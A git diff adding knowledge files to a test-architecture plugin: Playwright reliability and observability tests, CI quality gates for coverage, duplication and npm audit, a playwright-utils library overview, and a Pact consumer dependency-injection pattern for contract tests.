+
+    await page.goto('/checkout');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Should succeed after 3 attempts
+    await expect(page.getByText('Order placed successfully')).toBeVisible();
+    expect(attemptCount).toBe(3);
+  });
+
+  test('app handles network disconnection gracefully', async ({ page, context }) => {
+    await page.goto('/dashboard');
+
+    // Simulate offline mode
+    await context.setOffline(true);
+
+    // Trigger action requiring network
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // User sees offline indicator (not crash)
+    await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
+
+    // Reconnect
+    await context.setOffline(false);
+    await page.getByRole('button', { name: 'Refresh Data' }).click();
+
+    // Data loads successfully
+    await expect(page.getByText('Data updated')).toBeVisible();
+  });
+
+  test('health check endpoint returns service status', async ({ request }) => {
+    const response = await request.get('/api/health');
+
+    expect(response.status()).toBe(200);
+
+    const health = await response.json();
+    expect(health).toHaveProperty('status', 'healthy');
+    expect(health).toHaveProperty('timestamp');
+    expect(health).toHaveProperty('services');
+
+    // Verify critical services are monitored
+    expect(health.services).toHaveProperty('database');
+    expect(health.services).toHaveProperty('cache');
+    expect(health.services).toHaveProperty('queue');
+
+    // All services should be UP
+    expect(health.services.database.status).toBe('UP');
+    expect(health.services.cache.status).toBe('UP');
+    expect(health.services.queue.status).toBe('UP');
+  });
+
+  test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
+    let failureCount = 0;
+
+    await context.route('**/api/recommendations', (route) => {
+      failureCount++;
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
+    });
+
+    await page.goto('/product/123');
+
+    // Wait for circuit breaker to open (fallback UI appears)
+    await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
+
+    // Verify circuit breaker stopped making requests after threshold (should be ≤5)
+    expect(failureCount).toBeLessThanOrEqual(5);
+  });
+
+  test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
+    let requestCount = 0;
+
+    await context.route('**/api/search', (route) => {
+      requestCount++;
+
+      if (requestCount > 10) {
+        // Rate limit exceeded
+        route.fulfill({
+          status: 429,
+          headers: { 'Retry-After': '5' },
+          body: JSON.stringify({ error: 'Rate limit exceeded' }),
+        });
+      } else {
+        route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
+      }
+    });
+
+    await page.goto('/search');
+
+    // Make 15 search requests rapidly
+    for (let i = 0; i < 15; i++) {
+      await page.getByPlaceholder('Search').fill(`query-${i}`);
+      await page.getByRole('button', { name: 'Search' }).click();
+    }
+
+    // User sees rate limit message (not crash)
+    await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
+- Retries: 3 attempts on transient failures (503 → eventual success)
+- Offline handling: Network disconnection detected (sync when reconnected)
+- Health checks: `/api/health` monitors database, cache, queue
+- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
+- Rate limiting: 429 response handled (Retry-After header respected)
+
+**Reliability NFR Criteria**:
+
+- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
+- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
+- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
+
+---
+
+### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
+
+**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
+
+**Implementation**:
+
+```yaml
+# .github/workflows/nfr-maintainability.yml
+name: NFR - Maintainability
+
+on: [push, pull_request]
+
+jobs:
+  test-coverage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run tests with coverage
+        run: npm run test:coverage
+
+      - name: Check coverage threshold (80% minimum)
+        run: |
+          COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
+          echo "Coverage: $COVERAGE%"
+          if (( $(echo "$COVERAGE < 80" | bc -l) )); then
+            echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
+          fi
+
+  code-duplication:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Check code duplication (<5% allowed)
+        run: |
+          npx jscpd src/ --threshold 5 --format json --output duplication.json
+          DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
+          echo "Duplication: $DUPLICATION%"
+          if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
+            echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
+            exit 1
+          else
+            echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
+          fi
+
+  vulnerability-scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run npm audit (no critical/high vulnerabilities)
+        run: |
+          npm audit --json > audit.json || true
+          CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
+          HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
+          echo "Critical: $CRITICAL, High: $HIGH"
+          if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
+            echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
+            npm audit
+            exit 1
+          else
+            echo "✅ PASS: No critical/high vulnerabilities"
+          fi
+```
+
+**Playwright Tests for Observability (E2E Validation):**
+
+```typescript
+// tests/nfr/observability.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Maintainability NFR: Observability Validation', () => {
+  test('critical errors are reported to monitoring service', async ({ page, context }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK to verify error tracking
+    await context.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error) => {
+          console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
+        },
+      };
+    });
+
+    page.on('console', (msg) => {
+      if (msg.text().includes('SENTRY_CAPTURE:')) {
+        sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
+      }
+    });
+
+    // Trigger error by mocking API failure
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
+    });
+
+    await page.goto('/products');
+
+    // Wait for error UI and Sentry capture
+    await expect(page.getByText('Unable to load products')).toBeVisible();
+
+    // Verify error was captured by monitoring
+    expect(sentryEvents.length).toBeGreaterThan(0);
+    expect(sentryEvents[0]).toHaveProperty('message');
+    expect(sentryEvents[0]).toHaveProperty('stack');
+  });
+
+  test('API response times are tracked in telemetry', async ({ request }) => {
+    const response = await request.get('/api/products?limit=10');
+
+    expect(response.ok()).toBeTruthy();
+
+    // Verify Server-Timing header for APM (Application Performance Monitoring)
+    const serverTiming = response.headers()['server-timing'];
+
+    expect(serverTiming).toBeTruthy();
+    expect(serverTiming).toContain('db'); // Database query time
+    expect(serverTiming).toContain('total'); // Total processing time
+  });
+
+  test('structured logging present in application', async ({ request }) => {
+    // Make API call that generates logs
+    const response = await request.post('/api/orders', {
+      data: { productId: '123', quantity: 2 },
+    });
+
+    expect(response.ok()).toBeTruthy();
+
+    // Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
+    // This test validates the logging contract exists (Server-Timing, trace IDs in headers)
+    const traceId = response.headers()['x-trace-id'];
+    expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
+  });
+});
+```
+
+**Key Points**:
+
+- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
+- **Vulnerability scanning**: npm audit in CI, not Playwright tests
+- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
+- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
+- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
+
+**Maintainability NFR Criteria**:
+
+- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
+- ⚠️ CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
+- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
+
+---
+
+## NFR Assessment Checklist
+
+Before release gate:
+
+- [ ] **Security** (Playwright E2E + Security Tools):
+  - [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
+  - [ ] Secrets never logged or exposed in errors
+  - [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
+  - [ ] Security audit completed (vulnerability scan, penetration test if applicable)
+
+- [ ] **Performance** (k6 Load Testing):
+  - [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
+  - [ ] Load testing completed (expected load)
+  - [ ] Stress testing completed (breaking point identified)
+  - [ ] Spike testing completed (handles traffic spikes)
+  - [ ] Endurance testing completed (no memory leaks under sustained load)
+
+- [ ] **Reliability** (Playwright E2E + API Tests):
+  - [ ] Error handling graceful (500 → user-friendly message + retry)
+  - [ ] Retries implemented (3 attempts on transient failures)
+  - [ ] Health checks monitored (/api/health endpoint)
+  - [ ] Circuit breaker tested (opens after failure threshold)
+  - [ ] Offline handling validated (network disconnection graceful)
+
+- [ ] **Maintainability** (CI Tools):
+  - [ ] Test coverage ≥80% (from CI coverage report)
+  - [ ] Code duplication <5% (from jscpd CI job)
+  - [ ] No critical/high vulnerabilities (from npm audit CI job)
+  - [ ] Structured logging validated (Playwright validates telemetry headers)
+  - [ ] Error tracking configured (Sentry/monitoring integration validated)
+
+- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
+- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
+- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
+- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
+
+## NFR Gate Decision Matrix
+
+| Category            | PASS Criteria                                | CONCERNS Criteria                            | FAIL Criteria                                  |
+| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
+| **Security**        | Auth/authz, secret handling, OWASP verified  | Minor gaps with clear owners                 | Critical exposure or missing controls          |
+| **Performance**     | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines  | SLO/SLA breached or resource leaks detected    |
+| **Reliability**     | Error handling, retries, health checks OK    | Partial coverage or missing telemetry        | No recovery path or unresolved crash scenarios |
+| **Maintainability** | Clean code, tests, docs shipped together     | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability   |
+
+**Default**: If targets or evidence are undefined → **CONCERNS** (force team to clarify before sign-off)
+
+## Integration Points
+
+- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
+- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
+- **Tools by NFR Category**:
+  - **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
+  - **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
+  - **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
+  - **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
+
+_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/overview.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/overview.md
new file mode 100644
index 0000000..d637594
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/overview.md
@@ -0,0 +1,286 @@
+# Playwright Utils Overview
+
+## Principle
+
+Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
+
+## Rationale
+
+Writing Playwright utilities from scratch for every project leads to:
+
+- Duplicated code across test suites
+- Inconsistent patterns and quality
+- Maintenance burden when Playwright APIs change
+- Missing advanced features (schema validation, HAR recording, auth persistence)
+
+`@seontechnologies/playwright-utils` provides:
+
+- **Production-tested**: Used in enterprise production environments
+- **Functional-first design**: Core logic as pure functions, fixtures for convenience
+- **Composable fixtures**: Use `mergeTests` to combine utilities
+- **TypeScript support**: Full type safety with generic types
+- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
+- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/playwright-utils
+```
+
+**Peer Dependencies:**
+
+- `@playwright/test` >= 1.54.1 (required)
+- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
+- `zod` >= 3.0.0 (optional - for Zod schema validation)
+
+## Available Utilities
+
+### Core Testing Utilities
+
+| Utility                    | Purpose                                                                       | Test Context       |
+| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
+| **api-request**            | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend**    |
+| **recurse**                | Polling for async operations, background jobs                                 | **API/Backend**    |
+| **auth-session**           | Token persistence, multi-user, service-to-service                             | **API/Backend/UI** |
+| **log**                    | Playwright report-integrated logging                                          | **API/Backend/UI** |
+| **file-utils**             | CSV/XLSX/PDF/ZIP reading & validation                                         | **API/Backend/UI** |
+| **burn-in**                | Smart test selection with git diff                                            | **CI/CD**          |
+| **network-recorder**       | HAR record/playback for offline testing                                       | UI only            |
+| **intercept-network-call** | Network spy/stub with auto JSON parsing                                       | UI only            |
+| **network-error-monitor**  | Automatic HTTP 4xx/5xx detection                                              | UI only            |
+
+**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
+
+## Design Patterns
+
+### Pattern 1: Functional Core, Fixture Shell
+
+**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
+
+**Implementation**:
+
+```typescript
+// Direct import (pass Playwright context explicitly)
+import { apiRequest } from '@seontechnologies/playwright-utils';
+
+test('direct usage', async ({ request }) => {
+  const { status, body } = await apiRequest({
+    request, // Must pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+
+// Fixture import (context injected automatically)
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('fixture usage', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    // No need to pass request context
+    method: 'GET',
+    path: '/api/users',
+  });
+});
+```
+
+**Key Points**:
+
+- Pure functions testable without Playwright running
+- Fixtures inject framework dependencies automatically
+- Choose direct import (more control) or fixture (convenience)
+
+### Pattern 2: Subpath Imports for Tree-Shaking
+
+**Context**: Import only what you need to keep bundle sizes small.
+
+**Implementation**:
+
+```typescript
+// Import specific utility
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+
+// Import specific fixture
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// Import everything (use sparingly)
+import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
+```
+
+**Key Points**:
+
+- Subpath imports enable tree-shaking
+- Keep bundle sizes minimal
+- Import from specific paths for production builds
+
+### Pattern 3: Fixture Composition with mergeTests
+
+**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
+
+// Merge all fixtures into one test object
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
+  await log.step('Making authenticated API request');
+
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines multiple fixtures without conflicts
+- Create one merged-fixtures.ts file per project
+- Import test object from your merged fixtures in all tests
+- All utilities available in single test signature
+
+## Integration with Existing Tests
+
+### Gradual Adoption Strategy
+
+**1. Start with logging** (zero breaking changes):
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('existing test', async ({ page }) => {
+  await log.step('Navigate to page'); // Just add logging
+  await page.goto('/dashboard');
+  // Rest of test unchanged
+});
+```
+
+**2. Add API utilities** (for API tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('API test', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+**3. Expand to network utilities** (for UI tests):
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('UI with network control', async ({ page, interceptNetworkCall }) => {
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+  });
+
+  await page.goto('/dashboard');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toHaveLength(10);
+});
+```
+
+**4. Full integration** (merged fixtures):
+
+Create merged-fixtures.ts and use across all tests.
+
+## Related Fragments
+
+- `api-request.md` - HTTP client with schema validation
+- `network-recorder.md` - HAR-based offline testing
+- `auth-session.md` - Token management
+- `intercept-network-call.md` - Network interception
+- `recurse.md` - Polling patterns
+- `log.md` - Logging utility
+- `file-utils.md` - File operations
+- `fixtures-composition.md` - Advanced mergeTests patterns
+
+## Anti-Patterns
+
+**❌ Don't mix direct and fixture imports in same test:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils';
+import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+
+test('bad', async ({ request, authToken }) => {
+  // Confusing - mixing direct (needs request) and fixture (has authToken)
+  await apiRequest({ request, method: 'GET', path: '/api/users' });
+});
+```
+
+**✅ Use consistent import style:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+
+test('good', async ({ apiRequest, authToken }) => {
+  // Clean - all from fixtures
+  await apiRequest({ method: 'GET', path: '/api/users' });
+});
+```
+
+**❌ Don't import everything when you need one utility:**
+
+```typescript
+import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
+```
+
+**✅ Use subpath imports:**
+
+```typescript
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
+```
+
+## Reference Implementation
+
+The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
+
+**Repository:** <https://github.com/seontechnologies/playwright-utils>
+
+**Key resources:**
+
+- **Test examples:** `playwright/tests` - All utilities in action
+- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
+- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
+
+**Quick start:**
+
+```bash
+git clone https://github.com/seontechnologies/playwright-utils.git
+cd playwright-utils
+nvm use
+npm install
+npm run test:pw-ui  # Explore tests with Playwright UI
+npm run test:pw
+```
+
+All patterns in TEA fragments are production-tested in this repository.
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-di.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-di.md
new file mode 100644
index 0000000..fd2b9ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pact-consumer-di.md
@@ -0,0 +1,310 @@
+# Pact Consumer DI Pattern
+
+## Principle
+
+Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
+
+The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
+
+## Rationale
+
+### The Problem
+
+Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
+
+### Why NOT vi.mock
+
+`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
+
+### Comparison
+
+| Approach     | Production code change | Mock complexity            | Exercises real client | Contract accuracy           |
+| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
+| Raw fetch    | None                   | None                       | No                    | Low — hand-crafted requests |
+| vi.mock      | None                   | High — ESM hoisting issues | Yes                   | Medium — fragile setup      |
+| DI (baseUrl) | 2 lines                | None                       | Yes                   | High — real requests        |
+
+## Pattern Examples
+
+### Example 1: Production Code Change (2 Lines Total)
+
+**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
+
+**Implementation**:
+
+```typescript
+// src/types.ts
+export type ApiContext = {
+  jwtToken: string;
+  customerId: number;
+  adminUserId?: number;
+  correlationId?: string;
+  baseUrl?: string; // Override for testing (Pact mock server)
+};
+```
+
+```typescript
+// src/http-client.ts
+import axios from 'axios';
+import type { AxiosInstance } from 'axios';
+import type { ApiContext } from './types.js';
+import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
+
+function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
+  return axios.create({
+    baseURL: context.baseUrl ?? API_BASE_URL,
+    timeout: REQUEST_TIMEOUT,
+    headers: {
+      'Content-Type': 'application/json',
+      Accept: 'application/json',
+      Authorization: `Bearer ${context.jwtToken}`,
+      ...(context.correlationId && { 'X-Request-Id': context.correlationId }),
+    },
+  });
+}
+```
+
+**Key Points**:
+
+- `baseUrl` is optional — existing production code never sets it
+- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
+- Zero production behavior change — only test code provides the override
+- Two lines added total: one type field, one `??` fallback
+
+### Example 2: Shared Test Context Helper
+
+**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
+
+**Implementation**:
+
+```typescript
+// pact/support/test-context.ts
+import type { ApiContext } from '../../src/types.js';
+
+export function createTestContext(mockServerUrl: string): ApiContext {
+  return {
+    jwtToken: 'test-jwt-token',
+    customerId: 1,
+    baseUrl: `${mockServerUrl}/api/v2`,
+  };
+}
+```
+
+**Key Points**:
+
+- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
+- Single helper shared across all consumer test files — no repetition
+- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
+- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
+
+### Example 3: Before/After for a Simple Test
+
+**Context**: Migrating an existing raw-fetch test to call real consumer code.
+
+**Before** (raw fetch — tests Pact mock, not consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const response = await fetch(
+    `${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
+    {
+      headers: {
+        Authorization: "Bearer test-jwt-token",
+        "Content-Type": "application/json",
+      },
+    },
+  );
+  expect(response.status).toBe(200);
+  const body = (await response.json()) as Record<string, unknown>[];
+  expect(body).toEqual(expect.arrayContaining([...]));
+});
+```
+
+**After** (real consumer code):
+
+```typescript
+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
